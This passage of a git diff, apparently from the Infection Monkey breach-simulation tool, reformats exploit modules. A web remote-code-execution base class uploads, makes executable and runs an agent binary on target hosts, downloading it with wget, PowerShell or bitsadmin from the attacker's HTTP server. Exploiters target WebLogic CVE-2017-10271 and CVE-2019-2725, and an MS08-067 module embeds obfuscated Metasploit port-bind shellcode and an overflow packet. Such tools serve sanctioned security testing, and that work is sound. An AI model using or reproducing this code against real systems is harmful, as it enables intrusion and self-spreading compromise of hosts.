- exploit_config['dropper'] = False
+ exploit_config["dropper"] = False
- # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
- # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used.
- exploit_config['upload_commands'] = None
+ # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,
+ # 'windows': WIN_CMD}
+ # Command must have "monkey_path" and "http_path" format parameters. If None defaults
+ # will be used.
+ exploit_config["upload_commands"] = None
- # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
- exploit_config['url_extensions'] = []
+ # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home",
+ # "index.php"]
+ exploit_config["url_extensions"] = []
- # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
- exploit_config['stop_checking_urls'] = False
+ # stop_checking_urls: If true it will stop checking vulnerable urls once one was found
+ # vulnerable.
+ exploit_config["stop_checking_urls"] = False
- # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
- exploit_config['blind_exploit'] = False
+ # blind_exploit: If true we won't check if file exist and won't try to get the
+ # architecture of target.
+ exploit_config["blind_exploit"] = False
return exploit_config
@@ -84,8 +101,8 @@ class WebRCE(HostExploiter):
if not ports:
return False
# Get urls to try to exploit
- potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
- self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
+ potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"])
+ self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"])
if not self.are_vulnerable_urls_sufficient():
return False
@@ -94,26 +111,37 @@ class WebRCE(HostExploiter):
self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
# Skip if monkey already exists and this option is given
- if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.target_url):
- LOG.info("Host %s was already infected under the current configuration, done" % self.host)
+ if (
+ not exploit_config["blind_exploit"]
+ and self.skip_exist
+ and self.check_remote_files(self.target_url)
+ ):
+ LOG.info(
+ "Host %s was already infected under the current configuration, done" % self.host
+ )
return True
# Check for targets architecture (if it's 32 or 64 bit)
- if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()):
+ if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()):
return False
# Upload the right monkey to target
- data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands'])
+ data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"])
if data is False:
return False
# Change permissions to transform monkey into executable file
- if self.change_permissions(self.get_target_url(), data['path']) is False:
+ if self.change_permissions(self.get_target_url(), data["path"]) is False:
return False
# Execute remote monkey
- if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False:
+ if (
+ self.execute_remote_monkey(
+ self.get_target_url(), data["path"], exploit_config["dropper"]
+ )
+ is False
+ ):
return False
return True
@@ -135,36 +163,40 @@ class WebRCE(HostExploiter):
:return: Returns all open ports from port list that are of service names
"""
candidate_services = {}
- candidate_services.update({
- service: self.host.services[service] for service in self.host.services if
- (self.host.services[service] and
- 'name' in self.host.services[service] and
- self.host.services[service]['name'] in names)
- })
+ candidate_services.update(
+ {
+ service: self.host.services[service]
+ for service in self.host.services
+ if (
+ self.host.services[service]
+ and "name" in self.host.services[service]
+ and self.host.services[service]["name"] in names
+ )
+ }
+ )
- valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
- tcp_port_to_service(port) in candidate_services]
+ valid_ports = [
+ (port, candidate_services["tcp-" + str(port)]["data"][1])
+ for port in port_list
+ if tcp_port_to_service(port) in candidate_services
+ ]
return valid_ports
- def check_if_port_open(self, port):
- is_open, _ = check_tcp_port(self.host.ip_addr, port)
- if not is_open:
- LOG.info("Port %d is closed on %r, skipping", port, self.host)
- return False
- return True
-
def get_command(self, path, http_path, commands):
try:
- if 'linux' in self.host.os['type']:
- command = commands['linux']
+ if "linux" in self.host.os["type"]:
+ command = commands["linux"]
else:
- command = commands['windows']
+ command = commands["windows"]
# Format command
- command = command % {'monkey_path': path, 'http_path': http_path}
+ command = command % {"monkey_path": path, "http_path": http_path}
except KeyError:
- LOG.error("Provided command is missing/bad for this type of host! "
- "Check upload_monkey function docs before using custom monkey's upload commands.")
+ LOG.error(
+ "Provided command is missing/bad for this type of host! "
+ "Check upload_monkey function docs before using custom monkey's upload "
+ "commands."
+ )
return False
return command
@@ -188,15 +220,17 @@ class WebRCE(HostExploiter):
def build_potential_urls(self, ports, extensions=None):
"""
- Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions.
- :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
+ Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and
+ extensions.
+ :param ports: Array of ports. One port is described as size 2 array: [port.no(int),
+ isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
"""
url_list = []
if extensions:
- extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
+ extensions = [(e[1:] if "/" == e[0] else e) for e in extensions]
else:
extensions = [""]
for port in ports:
@@ -205,7 +239,9 @@ class WebRCE(HostExploiter):
protocol = "https"
else:
protocol = "http"
- url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
+ url_list.append(
+ join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
+ )
if not url_list:
LOG.info("No attack url's were built")
return url_list
@@ -214,7 +250,8 @@ class WebRCE(HostExploiter):
"""
Gets vulnerable url(s) from url list
:param urls: Potentially vulnerable urls
- :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
+ :param stop_checking: If we want to continue checking for vulnerable url even though one
+ is found (bool)
:return: None (we append to class variable vulnerable_urls)
"""
for url in urls:
@@ -231,11 +268,11 @@ class WebRCE(HostExploiter):
:param url: Url for exploiter to use
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
"""
- if 'linux' in self.host.os['type']:
+ if "linux" in self.host.os["type"]:
resp = self.exploit(url, GET_ARCH_LINUX)
if resp:
# Pulls architecture string
- arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
+ arch = re.search(r"(?<=Architecture:)\s+(\w+)", resp)
try:
arch = arch.group(1)
except AttributeError:
@@ -261,10 +298,13 @@ class WebRCE(HostExploiter):
def check_remote_monkey_file(self, url, path):
command = LOOK_FOR_FILE % path
resp = self.exploit(url, command)
- if 'No such file' in resp:
+ if "No such file" in resp:
return False
else:
- LOG.info("Host %s was already infected under the current configuration, done" % str(self.host))
+ LOG.info(
+ "Host %s was already infected under the current configuration, done"
+ % str(self.host)
+ )
return True
def check_remote_files(self, url):
@@ -273,10 +313,10 @@ class WebRCE(HostExploiter):
:return: True if at least one file is found, False otherwise
"""
paths = []
- if 'linux' in self.host.os['type']:
- paths.append(self.monkey_target_paths['linux'])
+ if "linux" in self.host.os["type"]:
+ paths.append(self.monkey_target_paths["linux"])
else:
- paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']])
+ paths.extend([self.monkey_target_paths["win32"], self.monkey_target_paths["win64"]])
for path in paths:
if self.check_remote_monkey_file(url, path):
return True
@@ -288,7 +328,8 @@ class WebRCE(HostExploiter):
Get ports wrapped with log
:param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
- :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
+ :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [
+ port.nr, IsHTTPS?]
"""
ports = self.get_open_service_ports(ports, names)
if not ports:
@@ -303,12 +344,13 @@ class WebRCE(HostExploiter):
LOG.error("Couldn't get host machine's architecture")
return False
else:
- self.host.os['machine'] = arch
+ self.host.os["machine"] = arch
return True
def run_backup_commands(self, resp, url, dest_path, http_path):
"""
- If you need multiple commands for the same os you can override this method to add backup commands
+ If you need multiple commands for the same os you can override this method to add backup
+ commands
:param resp: Response from base command
:param url: Vulnerable url
:param dest_path: Where to upload monkey
@@ -317,7 +359,10 @@ class WebRCE(HostExploiter):
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
- backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
+ backup_command = BITSADMIN_CMDLINE_HTTP % {
+ "monkey_path": dest_path,
+ "http_path": http_path,
+ }
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command)
return resp
@@ -325,30 +370,31 @@ class WebRCE(HostExploiter):
def upload_monkey(self, url, commands=None):
"""
:param url: Where exploiter should send it's request
- :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
+ :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows':
+ WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
:return: {'response': response/False, 'path': monkeys_path_in_host}
"""
LOG.info("Trying to upload monkey to the host.")
- if not self.host.os['type']:
+ if not self.host.os["type"]:
LOG.error("Unknown target's os type. Skipping.")
return False
paths = self.get_monkey_paths()
if not paths:
return False
# Create server for http download and wait for it's startup.
- http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
+ http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
# Choose command:
if not commands:
- commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
- command = self.get_command(paths['dest_path'], http_path, commands)
+ commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
+ command = self.get_command(paths["dest_path"], http_path, commands)
resp = self.exploit(url, command)
self.add_executed_cmd(command)
- resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
+ resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
@@ -357,7 +403,7 @@ class WebRCE(HostExploiter):
if resp is False:
return resp
else:
- return {'response': resp, 'path': paths['dest_path']}
+ return {"response": resp, "path": paths["dest_path"]}
def change_permissions(self, url, path, command=None):
"""
@@ -368,11 +414,11 @@ class WebRCE(HostExploiter):
:return: response, False if failed and True if permission change is not needed
"""
LOG.info("Changing monkey's permissions")
- if 'windows' in self.host.os['type']:
+ if "windows" in self.host.os["type"]:
LOG.info("Permission change not required for windows")
return True
if not command:
- command = CHMOD_MONKEY % {'monkey_path': path}
+ command = CHMOD_MONKEY % {"monkey_path": path}
try:
resp = self.exploit(url, command)
T1222Telem(ScanStatus.USED, command, self.host).send()
@@ -385,11 +431,13 @@ class WebRCE(HostExploiter):
LOG.info("Permission change finished")
return resp
# If exploiter returns command output, we can check for execution errors
- if 'Operation not permitted' in resp:
+ if "Operation not permitted" in resp:
LOG.error("Missing permissions to make monkey executable")
return False
- elif 'No such file or directory' in resp:
- LOG.error("Could not change permission because monkey was not found. Check path parameter.")
+ elif "No such file or directory" in resp:
+ LOG.error(
+ "Could not change permission because monkey was not found. Check path " "parameter."
+ )
return False
LOG.info("Permission change finished")
return resp
@@ -409,16 +457,23 @@ class WebRCE(HostExploiter):
default_path = self.get_default_dropper_path()
if default_path is False:
return False
- monkey_cmd = build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- self.vulnerable_port,
- default_path)
- command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
+ monkey_cmd = build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path
+ )
+ command = RUN_MONKEY % {
+ "monkey_path": path,
+ "monkey_type": DROPPER_ARG,
+ "parameters": monkey_cmd,
+ }
else:
- monkey_cmd = build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- self.vulnerable_port)
- command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
+ monkey_cmd = build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, self.vulnerable_port
+ )
+ command = RUN_MONKEY % {
+ "monkey_path": path,
+ "monkey_type": MONKEY_ARG,
+ "parameters": monkey_cmd,
+ }
try:
LOG.info("Trying to execute monkey using command: {}".format(command))
resp = self.exploit(url, command)
@@ -428,10 +483,10 @@ class WebRCE(HostExploiter):
self.add_executed_cmd(command)
return resp
# If exploiter returns command output, we can check for execution errors
- if 'is not recognized' in resp or 'command not found' in resp:
+ if "is not recognized" in resp or "command not found" in resp:
LOG.error("Wrong path chosen or other process already deleted monkey")
return False
- elif 'The system cannot execute' in resp:
+ elif "The system cannot execute" in resp:
LOG.error("System could not execute monkey")
return False
except Exception as e:
@@ -445,26 +500,34 @@ class WebRCE(HostExploiter):
def get_monkey_upload_path(self, url_to_monkey):
"""
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
- :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+ :param url_to_monkey: Hosted monkey's url. egz :
+ http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from self.monkey_target_paths
"""
- if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
- LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
+ if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
+ LOG.error(
+ "Can't get destination path because source path %s is invalid.", url_to_monkey
+ )
return False
try:
- if 'linux' in url_to_monkey:
- return self.monkey_target_paths['linux']
- elif 'windows-32' in url_to_monkey:
- return self.monkey_target_paths['win32']
- elif 'windows-64' in url_to_monkey:
- return self.monkey_target_paths['win64']
+ if "linux" in url_to_monkey:
+ return self.monkey_target_paths["linux"]
+ elif "windows-32" in url_to_monkey:
+ return self.monkey_target_paths["win32"]
+ elif "windows-64" in url_to_monkey:
+ return self.monkey_target_paths["win64"]
else:
- LOG.error("Could not figure out what type of monkey server was trying to upload, "
- "thus destination path can not be chosen.")
+ LOG.error(
+ "Could not figure out what type of monkey server was trying to upload, "
+ "thus destination path can not be chosen."
+ )
return False
except KeyError:
- LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
- "custom dict of monkey's destination paths")
+ LOG.error(
+ 'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
+ "initialize "
+ "custom dict of monkey's destination paths"
+ )
return False
def get_monkey_paths(self):
@@ -480,7 +543,7 @@ class WebRCE(HostExploiter):
dest_path = self.get_monkey_upload_path(src_path)
if not dest_path:
return False
- return {'src_path': src_path, 'dest_path': dest_path}
+ return {"src_path": src_path, "dest_path": dest_path}
def get_default_dropper_path(self):
"""
@@ -488,22 +551,21 @@ class WebRCE(HostExploiter):
:return: Default monkey's destination path for corresponding host or False if failed.
E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
"""
- if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
+ if not self.host.os.get("type") or (
+ self.host.os["type"] != "linux" and self.host.os["type"] != "windows"
+ ):
LOG.error("Target's OS was either unidentified or not supported. Aborting")
return False
- if self.host.os['type'] == 'linux':
+ if self.host.os["type"] == "linux":
return self._config.dropper_target_path_linux
- if self.host.os['type'] == 'windows':
+ if self.host.os["type"] == "windows":
try:
- if self.host.os['machine'] == WIN_ARCH_64:
+ if self.host.os["machine"] == WIN_ARCH_64:
return self._config.dropper_target_path_win_64
except KeyError:
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
return self._config.dropper_target_path_win_32
- def set_vulnerable_port_from_url(self, url):
- self.vulnerable_port = HTTPTools.get_port_from_url(url)
-
def get_target_url(self):
"""
This method allows "configuring" the way in which a vulnerable URL is picked.
@@ -512,11 +574,13 @@ class WebRCE(HostExploiter):
:return: a vulnerable URL
"""
return self.vulnerable_urls[0]
-
+
def are_vulnerable_urls_sufficient(self):
"""
- Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack.
- Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for
+ Determine whether the number of vulnerable URLs is sufficient in order to perform the
+ full attack.
+ Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a
+ vulnerable URL is for
single use, thus we need a couple of them.
:return: Whether or not a full attack can be performed using the available vulnerable URLs.
"""
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index 00b62d3d6..75aaa10df 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -11,8 +11,6 @@ from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.tools import get_interface_to_target
-__author__ = "VakarisZ"
-
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
@@ -26,13 +24,13 @@ EXECUTION_TIMEOUT = 15
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
- "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
+ "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36",
}
class WebLogicExploiter(HostExploiter):
- _TARGET_OS_TYPE = ['linux', 'windows']
- _EXPLOITED_SERVICE = 'Weblogic'
+ _TARGET_OS_TYPE = ["linux", "windows"]
+ _EXPLOITED_SERVICE = "Weblogic"
def _exploit_host(self):
exploiters = [WebLogic20192725, WebLogic201710271]
@@ -49,37 +47,43 @@ class WebLogicExploiter(HostExploiter):
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
class WebLogic201710271(WebRCE):
- URLS = ["/wls-wsat/CoordinatorPortType",
- "/wls-wsat/CoordinatorPortType11",
- "/wls-wsat/ParticipantPortType",
- "/wls-wsat/ParticipantPortType11",
- "/wls-wsat/RegistrationPortTypeRPC",
- "/wls-wsat/RegistrationPortTypeRPC11",
- "/wls-wsat/RegistrationRequesterPortType",
- "/wls-wsat/RegistrationRequesterPortType11"]
+ URLS = [
+ "/wls-wsat/CoordinatorPortType",
+ "/wls-wsat/CoordinatorPortType11",
+ "/wls-wsat/ParticipantPortType",
+ "/wls-wsat/ParticipantPortType11",
+ "/wls-wsat/RegistrationPortTypeRPC",
+ "/wls-wsat/RegistrationPortTypeRPC11",
+ "/wls-wsat/RegistrationRequesterPortType",
+ "/wls-wsat/RegistrationRequesterPortType11",
+ ]
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
- super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
- 'win32': 'monkey32.exe',
- 'win64': 'monkey64.exe'})
+ super(WebLogic201710271, self).__init__(
+ host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"}
+ )
def get_exploit_config(self):
exploit_config = super(WebLogic201710271, self).get_exploit_config()
- exploit_config['blind_exploit'] = True
- exploit_config['stop_checking_urls'] = True
- exploit_config['url_extensions'] = WebLogic201710271.URLS
+ exploit_config["blind_exploit"] = True
+ exploit_config["stop_checking_urls"] = True
+ exploit_config["url_extensions"] = WebLogic201710271.URLS
return exploit_config
def exploit(self, url, command):
- if 'linux' in self.host.os['type']:
- payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
+ if "linux" in self.host.os["type"]:
+ payload = self.get_exploit_payload(
+ "/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null"
+ )
else:
- payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
+ payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL")
try:
- post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) # noqa: DUO123
+ post( # noqa: DUO123
+ url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False
+ )
except Exception as e:
LOG.error("Connection error: %s" % e)
return False
@@ -106,7 +110,7 @@ class WebLogic201710271(WebRCE):
if httpd.get_requests > 0:
# Add all urls because we don't know which one is vulnerable
self.vulnerable_urls.extend(urls)
- self.exploit_info['vulnerable_urls'] = self.vulnerable_urls
+ self.exploit_info["vulnerable_urls"] = self.vulnerable_urls
else:
LOG.info("No vulnerable urls found, skipping.")
@@ -115,7 +119,9 @@ class WebLogic201710271(WebRCE):
def check_if_exploitable_weblogic(self, url, httpd):
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
try:
- post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) # noqa: DUO123
+ post( # noqa: DUO123
+ url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False
+ )
except exceptions.ReadTimeout:
# Our request will not get response thus we get ReadTimeout error
pass
@@ -152,7 +158,8 @@ class WebLogic201710271(WebRCE):
:param command: command itself
:return: Formatted payload
"""
- empty_payload = '''
+ empty_payload = """
@@ -175,7 +182,7 @@ class WebLogic201710271(WebRCE):
- '''
+ """
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
return payload
@@ -187,7 +194,8 @@ class WebLogic201710271(WebRCE):
:param port: Server's port
:return: Formatted payload
"""
- generic_check_payload = '''
+ generic_check_payload = """
@@ -202,7 +210,7 @@ class WebLogic201710271(WebRCE):
- '''
+ """
payload = generic_check_payload.format(host=ip, port=port)
return payload
@@ -226,10 +234,10 @@ class WebLogic201710271(WebRCE):
class S(BaseHTTPRequestHandler):
@staticmethod
def do_GET():
- LOG.info('Server received a request from vulnerable machine')
+ LOG.info("Server received a request from vulnerable machine")
self.get_requests += 1
- LOG.info('Server waiting for exploited machine request...')
+ LOG.info("Server waiting for exploited machine request...")
httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True
self.lock.release()
@@ -258,21 +266,22 @@ class WebLogic20192725(WebRCE):
def get_exploit_config(self):
exploit_config = super(WebLogic20192725, self).get_exploit_config()
- exploit_config['url_extensions'] = WebLogic20192725.URLS
- exploit_config['blind_exploit'] = True
- exploit_config['dropper'] = True
+ exploit_config["url_extensions"] = WebLogic20192725.URLS
+ exploit_config["blind_exploit"] = True
+ exploit_config["dropper"] = True
return exploit_config
def execute_remote_monkey(self, url, path, dropper=False):
- # Without delay exploiter tries to launch monkey file that is still finishing up after downloading.
+ # Without delay exploiter tries to launch monkey file that is still finishing up after
+ # downloading.
time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS)
super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper)
def exploit(self, url, command):
- if 'linux' in self.host.os['type']:
- payload = self.get_exploit_payload('/bin/sh', '-c', command)
+ if "linux" in self.host.os["type"]:
+ payload = self.get_exploit_payload("/bin/sh", "-c", command)
else:
- payload = self.get_exploit_payload('cmd', '/c', command)
+ payload = self.get_exploit_payload("cmd", "/c", command)
try:
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
return resp
@@ -281,7 +290,7 @@ class WebLogic20192725(WebRCE):
return False
def check_if_exploitable(self, url):
- headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
+ headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""})
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
if res.status_code == 500 and "env:Client " in res.text:
return True
@@ -297,9 +306,10 @@ class WebLogic20192725(WebRCE):
:param command: command itself
:return: Formatted payload
"""
- empty_payload = '''
+ empty_payload = """
+ xmlns:wsa=\"http://www.w3.org/2005/08/addressing\"
+ xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">
xx
xx
@@ -323,6 +333,6 @@ class WebLogic20192725(WebRCE):
- '''
+ """
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
return payload
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index 7690f33c1..1e92eadf5 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -16,90 +16,96 @@ from impacket.dcerpc.v5 import transport
from common.utils.shellcode_obfuscator import clarify
from infection_monkey.exploit.HostExploiter import HostExploiter
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey
+from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from infection_monkey.network.smbfinger import SMBFinger
from infection_monkey.network.tools import check_tcp_port
+from infection_monkey.utils.commands import build_monkey_commandline
+from infection_monkey.utils.random_password_generator import get_random_password
LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444
-OBFUSCATED_SHELLCODE = (b'4\xf6kPF\xc5\x9bI,\xab\x1d'
- b'\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J'
- b'\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01\'\xa8\x03\x90\x01\xec\x13'
- b'\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq'
- b'\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8'
- b'\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J'
- b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-')
+OBFUSCATED_SHELLCODE = (
+ b"4\xf6kPF\xc5\x9bI,\xab\x1d"
+ b"\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J"
+ b"\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01'\xa8\x03\x90\x01\xec\x13"
+ b"\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq"
+ b"\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8"
+ b"\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J"
+ b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-'
+)
SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode()
-XP_PACKET = ("\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43"
- "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01"
- "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47"
- "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48"
- "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49"
- "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
- "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
- "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02"
- "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90"
- "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00"
- "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00")
+XP_PACKET = (
+ "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43"
+ "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01"
+ "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47"
+ "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48"
